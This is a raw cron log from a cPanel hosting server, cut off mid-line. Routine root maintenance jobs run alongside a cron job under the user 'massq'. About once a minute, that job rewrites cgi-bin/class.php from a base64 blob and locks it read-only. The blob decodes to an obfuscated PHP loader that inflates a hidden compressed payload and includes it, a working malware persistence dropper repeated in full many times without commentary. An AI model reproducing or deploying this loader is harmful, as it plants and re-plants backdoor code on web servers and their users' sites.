Sep 12 18:05:01 server CROND[27478]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:05:01 server CROND[27475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:05:01 server CROND[27474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:05:01 server CROND[27479]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 18:06:01 server CROND[28305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:06:01 server CROND[28306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:06:01 server CROND[28307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:07:01 server CROND[28667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:07:01 server CROND[28669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:07:01 server CROND[28670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:08:01 server CROND[29053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:08:01 server CROND[29054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:08:01 server CROND[29055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:09:01 server CROND[29526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:09:01 server CROND[29527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:09:01 server CROND[29530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:09:01 server CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 18:10:01 server CROND[29932]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:10:01 server CROND[29938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:10:01 server CROND[29936]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:10:01 server CROND[29939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:10:01 server CROND[29937]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:10:01 server CROND[29945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:10:01 server CROND[29941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:10:01 server CROND[29940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:11:01 server CROND[30768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:11:01 server CROND[30769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:11:01 server CROND[30770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:12:01 server CROND[31134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:12:01 server CROND[31135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:12:01 server CROND[31136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:12:01 server CROND[31137]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 18:13:01 server CROND[31500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:13:01 server CROND[31501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:13:01 server CROND[31503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:14:01 server CROND[31869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:14:01 server CROND[31870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:14:01 server CROND[31871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:15:01 server CROND[32369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:15:01 server CROND[32371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:15:01 server CROND[32375]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 12 18:15:01 server CROND[32376]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 18:15:01 server CROND[32372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:15:01 server CROND[32380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:15:01 server CROND[32382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:15:01 server CROND[32374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 18:15:01 server CROND[32381]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 18:15:01 server CROND[32373]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 18:16:01 server CROND[879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:16:01 server CROND[880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:16:01 server CROND[881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:17:01 server CROND[1374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:17:01 server CROND[1375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 18:17:01 server CROND[1377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1N